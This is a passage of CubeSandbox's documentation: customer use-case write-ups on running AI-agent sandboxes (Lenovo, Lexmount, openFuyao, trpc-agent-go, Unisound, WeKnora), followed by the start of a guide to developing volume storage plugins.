InvalidVirtioFsState ([PR #341](https://github.com/TencentCloud/CubeSandbox/pull/341)). * **Self-developed agentd terminal protocol**: runs on port 49984, coexisting with envd (49983), started as the template's main command (PID 1); exposes a narrow HTTP API (sessions/stdin/resize/healthz) with a monotonic-chunk\_id ring buffer for incremental output polling; it is the platform's sole execution data plane for exec\_command / write\_stdin, flattening away differences between underlying execution-environment types. ## Results and Benefits * One Agent Runtime supports two independent organizational deployments with ~30 Agent applications in production. * The resource-understanding correction distilled into a practice principle: a sandbox is a high-performance, strongly isolated VM, not an elastic resource pool that auto-scales by usage — plan specs in tiers (test/production) with idle reclamation and monitoring-driven adjustments. * The Go SDK and multiple fixes merged upstream; the host-mount snapshot-restore issue is currently worked around by destroy-and-rebuild. ## References * Full case study: [Sandbox as an Option, Not a Default: Huajiao's Agent Platform Architecture and Cube Practice](/blog/posts/2026-09-17-huajiao) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/lenovo-cloud-agent.md --- # Lenovo Cloud Agent: Sandbox Migration from Daytona to CubeSandbox ## Business Context Lenovo Research Institute AI Lab's cloud Agent product went through two phases: 1.0 treated the sandbox as a "start one per session, dispose when done" isolated execution environment; 2.0 put the daemon and Agent entirely inside the sandbox, making it a standalone node that can be backed up and rolled back. Early use of Daytona sandboxes, combined with slow startup (>10s), network restrictions (VPN required), and SaaS costs, drove the migration to CubeSandbox. ## Key Challenges * **API incompatibility**: Daytona and E2B (Cube-compatible) APIs are incompatible, preventing simple substitution. * **Startup performance**: Daytona sandbox startup exceeded 10 seconds, optimized to 5 seconds but still a bottleneck for batch concurrency. * **Volume shared writes**: Early Cube versions didn't support multiple sandboxes modifying the same mounted directory. * **Sandbox loss after server restart**: In 2.0 mode, long-running sandboxes without snapshots disappear after restart. ## Solution with CubeSandbox Migration in three steps: decouple from Daytona → build SDK adapter layer (supporting both Daytona and E2B) → connect to Cube. The adapter layer defines a unified Sandbox Provider base class, with business code unaware of underlying differences. Startup performance: compressed from >10 seconds to <100 milliseconds. Volume shared write issue fixed in v0.6.0. Cross-machine recovery planned for v0.7.0. ## Results and Benefits * Startup speed from >10s to <100ms, imperceptible to users. * SaaS fees eliminated, VPN issue resolved. * Debugging experience significantly improved with local deployment. * Sandbox role evolved from "tool execution container" to "independent runtime environment." ## References * Full case study: [From Daytona to CubeSandbox: Lenovo's Cloud Agent Sandbox Migration](/blog/posts/2026-08-20-lenovo-cloud-agent) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/lexmount-browser-agent.md --- # Lexmount AI: Putting the Browser Runtime Inside the Agent Sandbox ## Business Context Lexmount's self-developed Agent browser runtime (Lexmount Insight Flow) has a core use case: enabling AI agents to execute web tasks at scale and reliably. This business form inherently imposes several "must-haves" on the underlying sandbox: real internet access, batch concurrent launch, per-sandbox runtime state injection, and accurate capacity perception. During the selection phase, the team searched the open-source community for tools that could "launch many lightweight sandboxes." After benchmarking OpenSandbox and Cube Sandbox, they found Cube had lower resource usage, so they chose the latter. Following from v0.1.0 to v0.5.1, around four boundaries, the team hit four pitfalls: no public network access, template creation failures, environment variable loss, and phantom resource oversell. ## Key Challenges Agent browser runtime is a composite workload with four hard requirements for sandboxes: * **Outbound network**: Every page the Agent opens, every API it calls, must go from the sandbox to the public internet. * **Batch launch**: Multi-user parallelism and RL batch rollout scenarios require dense bursts of sandbox creation requests on a single machine. * **Dynamic state injection**: Different users and tasks have different API keys and context labels that need per-sandbox injection. * **Real capacity perception**: Browser runtime is a resource-heavy workload — accurate per-node capacity numbers are essential. ## Solution with Cube Sandbox The team split sandboxization into two paths, with the business orchestration layer doing policy routing by risk level: 1. **Bash-only isolation**: For low-risk, short-execution scenarios, the Agent Loop stays in the business orchestration layer; only `Bash/exec` tool calls enter the sandbox. Sandboxes are disposable and stateless. 2. **Full Agent Runtime in sandbox**: For high-risk, resource-heavy scenarios (browser automation, long-running tasks), the Agent's resident process enters the sandbox entirely, with dedicated CPU/memory and a persistent workspace. During integration with Cube Sandbox, the team resolved four problems: * **Outbound network**: Found that `getGatewayMacAddr()` selected the wrong gateway MAC in multi-neighbor environments, sending SYN packets to the wrong next hop. Verified via `tcpdump` and fixed — PR [#224](https://github.com/TencentCloud/CubeSandbox/pull/224) merged. * **Batch launch**: Found the startup script pulled up Cubelet before network-agent's `/readyz` passed, making the Images service unavailable. Fixed to wait for `/readyz` before starting — PR [#304](https://github.com/TencentCloud/CubeSandbox/pull/304) merged. * **Dynamic state injection**: Found `CreateSandboxRequest.containers` was hardcoded to `vec![]`, dropping environment variables. Submitted PR [#634](https://github.com/TencentCloud/CubeSandbox/pull/634), confirmed this is a snapshot restore architectural constraint rather than a底层 defect. Compensated with a two-phase "control plane proxy, in-sandbox execution" design. * **Real capacity**: Found v0.2.x mock resource metrics caused inflated capacity numbers, fixed in v0.3.0. Derived the principle that "capacity must be measured under real business load." ## Results and Benefits * **Network connectivity**: Fixed L2 next-hop selection, giving the browser runtime stable outbound network access. * **Batch concurrency**: Fixed startup sequencing races, enabling stable batch sandbox launches on a single machine. * **State injection**: Two-phase design achieves per-sandbox state injection within the snapshot restore architectural constraint, with hot-start P95 sub-second. * **Accurate capacity**: Eliminated mock metric interference, with capacity assessment based on real load and multi-source cross-validation. ## References * Full case study: [Putting the Browser Inside the Agent Sandbox: Lexmount's Hands-On Experience with CubeSandbox](/blog/posts/2026-08-13-lexmount-browser-agent) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/openfuyao.md --- # openFuyao: Running CubeSandbox on Kubernetes ## Business Context openFuyao is an open-source community for general-purpose and intelligent computing cluster software innovation, with compute infrastructure built entirely on K8s. The openFuyao Agent Sandbox SIG team packaged CubeSandbox's control plane, data plane, and compute plane as standard K8s workloads, achieving "K8s manages the nodes, CubeSandbox manages the sandboxes." The proposal was submitted to the community as [discussion #636](https://github.com/TencentCloud/CubeSandbox/discussions/636). The official native K8s deployment in v0.6.0 is similar to their self-built model, allowing a smooth switch. ## Key Challenges * **Two operational systems**: CubeSandbox's early physical-machine form (systemd + Docker Compose) coexisting with the K8s platform meant separate channels for releases, monitoring, and certificate rotation — doubled mental cost. * **Same-node network failure**: after the compute plane moved into Big Pods, same-node access to sandbox mapped ports always failed (issue [#443](https://github.com/TencentCloud/CubeSandbox/issues/443)). * **cubelet process model vs. PID 1**: cubelet assumed it ran under host systemd; its "process B kills its parent and becomes an orphan" model crashed containers inside pods. * **Feature semantics drift**: host-mount's "host" drifted from the node to the Big Pod; CubeVS's default-deny CIDR list covers nearly all K8s pod/cluster ranges. * **Two-scheduler conflict**: K8s schedules pods while CubeMaster schedules sandboxes; tight pod resources.limits backfire Cube's overcommit via cgroups. ## Solution with Cube Sandbox * **Big Pod deployment architecture**: cubelet + network-agent + cube-egress + CubeShim + CubeHypervisor packaged as a privileged DaemonSet (hostPath /dev/kvm, /data/cubelet; sandboxes run inside the Big Pod); CubeAPI/CubeMaster/CubeProxy as Deployment+Service (CubeMaster mounts a PV for templates); MySQL/Redis as StatefulSet; cluster CoreDNS reused with cube.app forwarding. * **Network diagnosis chain**: 5 controlled scenarios pinning "same-node inbound traffic to mapped ports" as the failing case → nettrace/TAP packet capture → bpftool → bpf\_printk logs; root cause was eBPF same-node forwarding missing pseudo-header fields, failing checksum validation. The issue drove upstream diagnosis, fixed in v0.4.0 (PR [#469](https://github.com/TencentCloud/CubeSandbox/pull/469) references issue #443). * **Orphan-process solution (zero cubelet code changes)**: tini as PID 1 + bash entrypoint starting cubelet in the background + pidfile + preStop hook, fully preserving cubelet's original process model. * **Four semantic-shift lessons**: CubeMaster on a PV + local templates on persistent hostPath (following the node, not the pod); compute-plane pods need hostPath volumes + privileged mode for real node directory passthrough; explicitly allow\_out in-cluster service CIDRs as needed; network-agent fixed via "resolve gateway IP from routing table → exact-match by IP in neighbor table → lenient filtering accepting NUD\_STALE/NUD\_PROBE" for pods where the gateway MAC is unavailable. * **Scheduling division**: K8s scheduling kept at node level, sandbox bin-packing left to CubeMaster overcommit; compute-plane pod CPU/memory limits given generously or left unset. ## Results and Benefits * Sandbox compute nodes are elastically scaled and rolling-upgraded by K8s like ordinary workloads, without intruding on APIServer/Scheduler/etcd — standard primitives only. * Deep usage of template distribution, snapshot, pause-resume, host-mount, egress, network policies, E2B interface, and ARM adaptation. * issue #443 was referenced by the upstream v0.4.0 fix PR — a model case of practice feeding back upstream. * Five capability requests to the community: cross-machine pause/resume and cross-machine Snapshot startup (supported in v0.7.0 preview), control/data-plane isolation with zero-downtime upgrades, higher creation throughput, and compatibility with eBPF CNIs like cilium/calico. ## References * Full case study: [Running CubeSandbox on Kubernetes: Deployment and Production Practice](/blog/posts/2026-09-17-openfuyao) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/trpc-agent-go.md --- # trpc-agent-go: A Secure Code Execution Backend Powered by Cube Sandbox ## Business Context [trpc-agent-go](https://github.com/trpc-group/trpc-agent-go) is Tencent's open-source Go framework for building production-grade AI agents. It provides a full stack — model invocation, tool orchestration, memory, and code execution (Code Interpreter) — for agentic applications. In real workloads, an agent frequently needs to execute LLM-generated Python / JavaScript / Bash code, for example: * Data analysis and visualization (pandas, matplotlib); * Business reporting (PDF, Excel, SVG charts); * Ad-hoc scripts (crawlers, ETL, format conversion); * Multi-turn code execution loops in Agentic RL / Tool-Use scenarios. To support these needs, trpc-agent-go ships an E2B-protocol compatible `CodeExecutor` under `codeexecutor/e2b`. It feeds agent-generated code straight into a sandbox and pipes back stdout / stderr, rich-media results (PNG, PDF, SVG, HTML, Markdown) and workspace artifacts to the upper-layer agent. ## Key Challenges Running LLM-generated code directly inside the agent process or its host container raises several production-grade issues: * **Security**: Model-generated code is untrusted — it may read sensitive files, make arbitrary network calls, or burn host resources. Strong isolation is mandatory. * **Dependency pollution**: Python data-science stacks, Node toolchains, fonts and temp files accumulate, and long-living processes easily end up in dirty states. * **Cold start & concurrency**: Agent traffic is bursty and multi-session. Traditional containers with multi-second cold starts and high memory overhead struggle with high-concurrency, short-lived tasks. * **Multi-turn consistency**: Multi-turn agents often need to reuse intermediate files across turns. A purely functional execution model can't keep workspace state. * **SaaS dependency**: Hooking up directly to the E2B public cloud brings cross-border networking, compliance and billing concerns; rolling a fully custom alternative is expensive. ## Solution with Cube Sandbox Cube Sandbox is wire-compatible with the E2B sandbox protocol, which means trpc-agent-go's `e2b.CodeExecutor` can be pointed at a self-hosted Cube Sandbox cluster **without any code change** — only Options need to be flipped: ```go import ( "context" "time" "trpc.group/trpc-go/trpc-agent-go/codeexecutor/e2b" ) ce, err := e2b.New( // Point the E2B client at a self-hosted Cube Sandbox control plane e2b.WithAPIURL("https://cube-sandbox.your-domain.internal"), e2b.WithAPIKey("<token-issued-by-cube>"), // Pick a code-interpreter template already built in Cube e2b.WithTemplate("code-interpreter-v1"), // Sandbox-level and per-execution timeouts e2b.WithSandboxTimeout(10*time.Minute), e2b.WithExecutionTimeout(60*time.Second), // For multi-turn agents, enable a session-scoped workspace so files persist across turns e2b.WithWorkspacePersistence(e2b.WorkspacePersistencePerSession), ) if err != nil { panic(err) } defer ce.Close() ``` The end-to-end call chain becomes: ``` LLM ──► Agent (trpc-agent-go) │ │ CodeExecutor.ExecuteCode / Engine ▼ E2B protocol (HTTP + envd) │ ▼ Cube Sandbox control plane ──► KVM micro-VM (per session / per turn) ├─ Python / Node / Bash kernels ├─ Workspace dir /tmp/run/<execID> └─ stdout / stderr / file artifacts ``` On top of that pipeline, trpc-agent-go contributes: * **Multi-language adaptation**: `pickLanguage` maps fenced blocks like ` ```python `, ` ```ts `, ` ```bash ` to the language identifiers expected by the Cube Sandbox kernels. * **Rich result decoding**: PNG / JPEG / PDF / SVG / LaTeX outputs returned by the sandbox are automatically decoded into `codeexecutor.File` instances and flow back to the agent as multi-modal content or attachments. * **Workspace abstraction**: APIs such as `CreateWorkspace`, `PutFiles`, `StageDirectory` and `Collect` perform staging and collection entirely inside the sandbox. Combined with `WorkspacePersistencePerSession`, multi-turn conversations transparently share intermediate files. * **Lifecycle control**: `WithSandboxID` reuses an existing Cube sandbox, while the default mode lets `CodeExecutor` own create/destroy — making it easy to implement a "session pool". ## Results and Benefits Migrating the agent code-execution backend from public SaaS / vanilla containers to a self-hosted Cube Sandbox unlocks several wins at once: * **Stronger security boundary**: Each session/turn runs inside an isolated KVM micro-VM with hardware-level isolation and network policy — substantially safer than shared-kernel containers, making it acceptable to run untrusted code. * **Lower latency & cost**: Cube Sandbox delivers sandboxes in ~100ms with <5MB of extra memory, and sustains ~100 concurrent sandboxes per node. "One sandbox per agent thought" finally becomes a practical default, instead of relying on long-lived containers. * **Zero-intrusion private deployment**: Thanks to E2B compatibility, business code on top of trpc-agent-go does not change. Switching `WithAPIURL` / `WithTemplate` is enough to move freely between public E2B and a private Cube Sandbox cluster — addressing compliance and cross-border networking requirements. * **Smoother multi-turn agent UX**: Session-scoped workspaces remove the need to manually shuffle intermediate files for chains like "draw a chart → answer based on it → export it as a PDF". This is especially helpful for Agentic RL, Deep Research, and data-analysis assistants. * **Manageable template story**: Cube Sandbox's template system (e.g. `code-interpreter-v1`) lets platform teams curate Python packages, fonts, JDKs etc. in unified images, while business teams just pick a template. ## References * Framework repo: [trpc-group/trpc-agent-go](https://github.com/trpc-group/trpc-agent-go) * Related sources: `https://github.com/trpc-group/trpc-agent-go/tree/main/codeexecutor/e2b` * Compatible protocol: [E2B Sandbox](https://e2b.dev) --- --- url: https://cubesandbox.com/guide/usecases/unisound-rl-rollout.md --- # unisound: Stress-Testing Density Limits for RL Rollout ## Business Context The Unisound Atlas Intelligent Computing Team uses Cube Sandbox to support Agent trajectory rollout across two workloads: SWE Agent data synthesis (batch-solving problems in real code repositories to produce training data) and Agent RL environment training (massive parallel episodes interacting with environments). Every trajectory needs a clean, isolated, reproducible execution environment with minute-scale lifecycles at massive parallelism — and the sandbox runs untrusted model-generated code. ## Key Challenges * **Secure isolation as a hard requirement**: in-sandbox code behavior is unpredictable (infinite loops, memory leaks, fork bombs, anomalous network calls); namespace/Cgroup-level isolation carries escape risks. * **Throughput over steady state**: a single node must handle tens to over a hundred creation/destruction requests per second. * **Density limits can't be guessed**: nominal specs landing on real workloads are shaped by resource overselling, runtime peaks, and scheduling parameters. * **Environment consistency**: the E2B SDK's default `bash -lc` launches a login shell, so environment variables don't carry over between two-phase tasks automatically. ## Solution with Cube Sandbox * **MicroVM hardware-level isolation**: each sandbox is an independent KVM MicroVM with its own kernel, satisfying untrusted code execution scenarios. * **Separated control/compute planes**: 1 control node (cube-api / CubeMaster / cube-lifecycle-manager / cube-proxy / coredns / webui / MySQL / Redis) + N lightweight compute nodes (only network-agent + cubelet), registered via `ONE_CLICK_CONTROL_PLANE_CUBEMASTER_ADDR`. * **Active template distribution**: CubeMaster bakes OCI images into ext4 rootfs and pushes replicas to each compute node, which retains local memory snapshots; sandbox startup uses purely local FICLONE cloning with zero network IO; `/data/cubelet` requires XFS + reflink. * **Three-step density derivation**: from sandbox specs (1 core / 4096 MiB / 10 GiB writable layer) and scheduling parameters (10 GiB memory reserved, 2× memory oversell, 3× CPU oversell capped at 80%), derive the theoretical ceiling of 117; distinguish the safety boundary (58, no oversell) from the paper ceiling (117); measured steady state lands at 80-100. * **Direct E2B SDK integration**: training-side scheduling code needs no special adaptation; environment variables are explicitly re-set between two-phase tasks to work around login-shell state not persisting. ## Results and Benefits * **Three density numbers**: single-node scheduling ceiling 117, no-oversell safety boundary 58, measured steady state 80-100 (160-200 on two nodes), with the bottleneck on the memory side. * **Identification method for three bottleneck categories**: memory oversell cashed in (host OOM), disk watermark over 80% removing the node from scheduling (error code 130597 while the node still shows HEALTHY), and creation bursts stalling at network-agent tap device allocation (about 20 concurrent creations as the boundary) — the three have different pressure models and must be diagnosed separately. * **AutoPause lever evaluation**: raising `paused_resource_release_ratio` to 0.7-0.8 could theoretically reach 3-4× paper density (350-470 per node), but resume becomes best-effort (409 on transient resource shortage); kept at the default 0.0 until training-side fault tolerance is ready — the parameter supports hot reload for later re-evaluation. ## References * Full case study: [Unisound Engineering Practice: Stress-Testing CubeSandbox Density Limits for RL Rollout](/blog/posts/2026-09-01-unisound-rl-rollout) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/usecases/weknora.md --- # WeKnora: A Persistent Agent Runtime on CubeSandbox ## Business Context WeKnora is Tencent's open-source enterprise LLM knowledge platform (24.4k stars), turning enterprise document assets into RAG Q\&A, ReAct agents, and a self-maintaining wiki. v0.8.0 centers on the skill sandbox runtime: session-resident sandboxes with per-space network policies. The sandbox layer supports three backends — Cube Sandbox, E2B, and Docker — with Cube Sandbox running the full chain of session binding, skill snapshots, pause/resume, template management, and network policies. ## Key Challenges * **Missing session state**: the initial Docker `docker run --rm` approach destroyed everything after each run — packages installed in one turn were gone the next, and capabilities like attachment staging and artifact collection couldn't be registered. * **High skill installation cost**: installing one skill means parsing SKILL.md, installing system packages and dependencies, and running verification — a multi-minute agent conversation that can't be amortized per session. * **Shared-kernel isolation insufficient**: running model-generated code demands kernel-level isolation, cross-host scheduling, and memory-state snapshots — none of which Docker can deliver. * **Application semantics of binding and reclamation**: Cube's TTL/AutoPause manages the MicroVM's lifetime but knows nothing about sessions, tenants, replicas, or skill generations — the application layer must cover these itself. ## Solution with Cube Sandbox * **Neutral interface + capability advertisement**: RemoteSandboxClient with six lifecycle methods plus four auxiliary interfaces; all Cube-specific types/error codes/HTTP semantics translated into neutral DTOs — three backends interchangeable without changing a line of business code. * **Skill snapshotting (deepest integration)**: create from base template → install skills → verify → CreateSnapshot; new sessions use the snapshot ID directly as TemplateID, skills ready in seconds. A fingerprint mechanism (SHA-256(provider+APIKey+APIURL)) guards ownership — after credential rotation, old snapshots silently invalidate and sessions fall back to the base template. * **Session keep-alive**: onTimeout=pause + autoResume freezes the MicroVM when idle, preserving memory state, with the next Connect waking it automatically; /workspace is shaped into a session filesystem via envd Files API (read-only input/ for attachments, output/ collection for artifacts, cross-tool-call workspace). * **Redis binding layer**: authoritative session→sandbox binding (SET NX, never expires) + lifecycle locks serialized across processes + a reaper periodically reconciling by tenant metadata to collect orphans. * **Turn lease**: StaleAt declares "image changed" without acting; rebuild=1 at BeginTurn lets the first resolve of the turn rebuild and is consumed immediately — resolving the conflict of "admin installing a skill vs. user mid-conversation" on the same VM. * **Explicit dual network switches**: allowInternetAccess for outbound, allowPublicTraffic for inbound — set explicitly at creation to guard against default drift. ## Results and Benefits * Three backends (Docker/E2B/Cube) interchangeable under one abstraction; all Cube-specific adaptation consolidated in a single cube\_remote\_client.go file. * Skill environments frozen as immutable "releases" — new sessions start from snapshots with skills ready in seconds; user experience: "the conversation is still there, and so is the environment." * Distilled an 8-item sandbox verification checklist for Agent platforms (snapshot-as-template, snapshotting running instances, pause/resume semantics, metadata claiming, dual network switches, envd contract, envd in templates, pagination and idempotency). * Fed 4 architecture-level requests back to the community: volume mount at Create, separate snapshot/template directories, pause/timeout callbacks, first-class session identity. ## References * Full case study: [WeKnora: Building a Persistent Agent Runtime on CubeSandbox](/blog/posts/2026-09-17-weknora) * WeKnora project: [Tencent/WeKnora](https://github.com/Tencent/WeKnora) * Cube Sandbox source: [TencentCloud/CubeSandbox](https://github.com/TencentCloud/CubeSandbox) --- --- url: https://cubesandbox.com/guide/volume-plugin.md --- # Volume Plugin Development CubeSandbox is gradually adopting e2b Volume compatibility to provide persistent storage across sandbox lifecycles. This guide starts from **architecture and core concepts**, then walks through **protocol details and plugin development**, so you can integrate any storage backend (object storage, NFS, distributed file systems, etc.) into CubeSandbox. > **Version requirement** > > Volume features require **Cube platform ≥ 0.6.0** (CubeMaster, CubeAPI, and Cubelet must all be upgraded), plus **Python SDK `cubesandbox` ≥ 0.6.0** (`Volume` and `Sandbox.create(volume_mounts=...)`). The **Go SDK** (`sdk/go`) provides equivalent support as of repository master (`Client.CreateVolume` etc. and `CreateOptions.VolumeMounts`). Environments below these versions have no Volume API — do not call `/volumes` with an older SDK. > **Current status** (API / SDK) > > | Capability | Status | > |------------|--------| > | REST `GET /volumes` — list volumes | ✅ Supported (Cube ≥ 0.6.0) | > | REST `POST /volumes` — create volume | ✅ Supported | > | REST `GET /volumes/{volumeID}` — get volume + token | ✅ Supported | > | REST `DELETE /volumes/{volumeID}` — delete volume | ✅ Supported (409 when still mounted) | > | Python SDK `Volume.create` / `connect` / `list` / `get_info` / `destroy` | ✅ Supported (SDK ≥ 0.6.0) | > | Python SDK `Sandbox.create(volume_mounts={path: volume})` | ✅ Supported (e2b dict mapping) | > | Go SDK `Client.CreateVolume / ListVolumes / GetVolume / DeleteVolume` | ✅ Supported | > | Go SDK `CreateOptions.VolumeMounts` (incl. `ReadOnly`) | ✅ Supported | > | One volume mounted by multiple sandboxes | ✅ Supported | > | Per-sandbox read-only attachment | ✅ Cube SDK extension (Python `VolumeMount(..., read_only=True)`, Go `VolumeMount{ReadOnly: true}`); the official e2b SDK itself has no read-only mount option | > | Omit `driver` on create (e2b default) | ✅ Supported | > **e2b API vs SDK** > > CubeAPI exposes **e2b-protocol-compatible** `/volumes` REST endpoints. You can call them directly with HTTP clients. > > The **official e2b Python SDK cannot be used** against CubeSandbox — it is hardcoded to the e2b.cloud backend. Use the **`cubesandbox` Python SDK** (`Volume`, `Sandbox.create(volume_mounts={...})`) or raw REST against your CubeAPI instance. *** ## Quick start: use Volume with `cubesandbox` Four steps from plugin to a working SDK demo. Details are in the sections linked below. ### Implement and deploy the plugin Implement Create / Destroy (Controller) and Attach / Detach (Node) per the [Hook subsections under Core Concepts](#plugin-types). Deploy the Controller side to **CubeMaster** nodes and the Node side to **Cubelet** nodes (same binary or process may serve both). Reference: [COS plugin](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md) (one-click packages the binary under `CubeMaster/plugin/` and `Cubelet/plugin/`). > **Install third-party plugins outside the cubetoolbox tree**, otherwise they are reset on Cube upgrade. See [Registration and Configuration](#registration-and-configuration) and [Plugin Development Guidelines](#plugin-development-guidelines). ### Configure CubeMaster / Cubelet and restart Register the same `driver` name on both sides (`volume_plugins`), point `binary_path` / `socket_path` at the deployed plugin, then restart CubeMaster and Cubelet so the config is loaded. See [Registration and Configuration](#registration-and-configuration). ### Install the SDK ```bash pip install 'cubesandbox>=0.6.0' ``` For Go, use the `sdk/go` module: ```bash go get github.com/tencentcloud/CubeSandbox/sdk/go ``` Use **`cubesandbox`**, not the official e2b Python SDK. Set `CUBE_API_URL`, `CUBE_TEMPLATE_ID`, and (for remote I/O) `CUBE_PROXY_NODE_IP`. See [Environment Setup](#environment-setup). ### Run the demo ```python from cubesandbox import Sandbox, Volume vol = Volume.create("my-data") # omit driver → first volume_plugins entry with Sandbox.create(volume_mounts={"/workspace": vol}) as sb: sb.files.write("/workspace/hello.txt", "from volume") print(sb.files.read("/workspace/hello.txt")) Volume.destroy(vol.volume_id) ``` Full lifecycle and multi-sandbox sharing: [SDK Usage](#sdk-usage). COS end-to-end (deps + credentials): [`examples/volume/cos/README.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.md). *** ## Core Concepts > **Diagram legend:** blue fill = Cube platform; orange fill = Volume Plugin (your implementation). ### Problem Statement Sandboxes need data that **survives restarts and new instances** (model weights, workspace files, etc.). The Cube platform handles API, orchestration, and forwarding; the **Volume Plugin** mounts the real backend (object storage, NFS, …) to a host `hostPath`, which Cubelet exposes to the microVM via virtiofs. ### Dual-Role Model Inspired by Kubernetes CSI, Hooks split into **control plane** and **data plane**, triggered by different processes: | Role | Invoked by | Hooks | Responsibility | |------|------------|-------|----------------| | **Controller** | CubeMaster | Create / Destroy | Allocate / delete Volume resources in the backend | | **Node** | Cubelet | Attach / Detach | Mount / unmount on the host; produce `hostPath` | The same Hook protocol can be implemented as **binary** or **rpc** plugins. All four Hooks may live in one plugin or be split. #### Control plane: Create / Destroy ```mermaid flowchart LR subgraph Cube["Cube platform"] SDK1["SDK"] API1["CubeAPI"] CM["CubeMaster"] SDK1 --> API1 --> CM end subgraph PluginC["Volume Plugin · Controller"] CH1["Create"] CH2["Destroy"] end BE["Storage backend"] CM -->|"POST /volumes"| CH1 CM -->|"DELETE /volumes/:id"| CH2 CH1 --> BE CH2 --> BE style PluginC fill:#fff3e0,stroke:#e65100,stroke-width:2px style Cube fill:#e3f2fd,stroke:#1565c0,stroke-width:1px ``` #### Data plane: Attach / Detach ```mermaid flowchart LR subgraph Cube2["Cube platform"] CM2["CubeMaster"] CL["Cubelet"] VF["virtiofs\nbind-mount"] SB["microVM"] CM2 -->|"sandbox create"| CL CL --> VF --> SB end subgraph PluginN["Volume Plugin · Node"] NH1["Attach"] NH2["Detach"] end HP["hostPath"] CL -->|"sandbox create"| NH1 CL -->|"sandbox destroy"| NH2 NH1 --> HP NH2 --> HP HP --> VF style PluginN fill:#fff3e0,stroke:#e65100,stroke-width:2px style Cube2 fill:#e3f2fd,stroke:#1565c0,stroke-width:1px ``` Whether **binary** or **rpc**, every plugin must implement the **same Hook fields** below. **binary** maps them to CLI flags / stdout JSON (`snake_case`, e.g. `volume_id` → `--volume-id`, `host_path` in JSON); **rpc** uses the same names in `volumeplugin.proto`. CubeMaster / Cubelet pick the plugin by configured `driver` **before** calling a Hook — **`driver` is not a Hook parameter**. > **Errors:** **binary** uses non-zero exit and/or non-empty `"error"` in stdout JSON; **rpc** uses gRPC error status (responses have no `error` field). ### Plugin Types | Type | Controller | Node | Description | |------|------------|------|-------------| | **binary** | ✅ | ✅ | External executable; each Hook forks a child process; CLI + stdout JSON | | **rpc** | ✅ | ✅ | Long-running gRPC plugin; connect via `socket_path` (Unix socket or TCP) | Config field `type` selects the plugin type; **`name` (driver) must match end-to-end** on CubeMaster and Cubelet. rpc proto definition: [rpc Plugin Proto Definition](#rpc-plugin-proto-definition). ### Hooks | Hook | Side | Trigger | |------|------|---------| | **Create** | Controller | `POST /volumes` | | **Destroy** | Controller | `DELETE /volumes/:id` | | **Attach** | Node | Sandbox create (`volumeMounts`) | | **Detach** | Node | Sandbox destroy or create-failure rollback | #### Create | Direction | Field | Type | Description | |-----------|-------|------|-------------| | Input | `volumeID` | string | Stable ID (UUID or same as `name`) | | Input | `name` | string | Display name | | Output | `token` | string | Optional auth token returned to SDK | | Output | `private_data` | string | Opaque plugin state (max **1024** bytes). Persisted in `t_cube_volume` and forwarded to **Attach** on sandbox create. **Not** returned to API/SDK clients. May be empty. | | Output | `error` | string | `""` on success (binary stdout JSON only) | **binary example** Input (CLI): ```bash /path/to/my-plugin --op create --volume-id my-vol --name my-vol ``` Output (stdout JSON, exit 0): ```json {"token":"","private_data":"","error":""} ``` #### Destroy | Direction | Field | Type | Description | |-----------|-------|------|-------------| | Input | `volumeID` | string | Volume to delete in backend | | Output | `error` | string | `""` on success (binary stdout JSON only) | Plugin must locate backend resources using only `volumeID` (e.g. delete prefix `volumes/<volumeID>/`). Destroy does **not** auto-Detach running sandboxes. **binary example** Input (CLI): ```bash /path/to/my-plugin --op destroy --volume-id my-vol ``` Output (stdout JSON, exit 0): ```json {"error":""} ``` #### Attach | Direction | Field | Type | Description | |-----------|-------|------|-------------| | Input | `sandboxID` | string | Sandbox being created | | Input | `namespace` | string | containerd namespace | | Input | `volumeID` | string | Same as `volumeMounts[].name` | | Input | `refCount` | int64 | Sandbox count **on this node before** attach; `0` = first on this node | | Input | `volumeBaseDir` | string | Parent dir; `hostPath` **must** be inside it | | Input | `private_data` | string | Same opaque blob Create returned (from `t_cube_volume`); may be empty. binary: optional `--private-data` (omitted when empty) | | Output | `hostPath` | string | Path in Cubelet mntns for virtiofs bind | | Output | `metadata` | map\[string]string | Opaque state; echoed back on Detach | | Output | `error` | string | `""` on success (binary stdout JSON only) | * `refCount == 0`: **first attach on this node** — perform backend mount. * `refCount > 0`: **another sandbox on this node** already references the volume — return existing `hostPath` (+ `metadata`); do not mount again. * **`hostPath`:** absolute path under `volumeBaseDir` (recommended `<volumeBaseDir>/<plugin-name>-<volumeID>`). Otherwise Cubelet rejects attach, rolls back, and fails sandbox create. Default `volumeBaseDir`: `/data/cube-shared/volume`. **binary example** Input (CLI): ```bash /path/to/my-plugin --op attach \ --sandbox-id sb-001 --namespace default \ --volume-id my-vol --ref-count 0 \ --volume-base-dir /data/cube-shared/volume # optional when Create returned non-empty private_data: # --private-data 'volumes/my-vol/' ``` Output (stdout JSON, exit 0): ```json {"host_path":"/data/cube-shared/volume/my-storage-my-vol","metadata":{"mount_dir":"/data/cube-shared/volume/my-storage-my-vol"},"error":""} ``` #### Detach | Direction | Field | Type | Description | |-----------|-------|------|-------------| | Input | `sandboxID` | string | Same as Attach | | Input | `namespace` | string | Same as Attach | | Input | `volumeID` | string | Same as Attach | | Input | `refCount` | int64 | Sandbox count **on this node after** detach; `0` = last on this node | | Input | `metadata` | map\[string]string | Exact map from Attach | | Output | `error` | string | `""` on success (binary stdout JSON only) | * `refCount == 0`: **last sandbox on this node** — tear down shared backend mount (keep persistent data). * `refCount > 0`: other sandbox(es) on this node still attached — no-op. **binary example** Input (CLI): ```bash /path/to/my-plugin --op detach \ --sandbox-id sb-001 --namespace default \ --volume-id my-vol --ref-count 0 \ --metadata '{"mount_dir":"/data/cube-shared/volume/my-storage-my-vol"}' ``` Output (stdout JSON, exit 0): ```json {"error":""} ``` ### RefCount One Volume may be shared by multiple sandboxes. Cubelet maintains a **per-node** reference 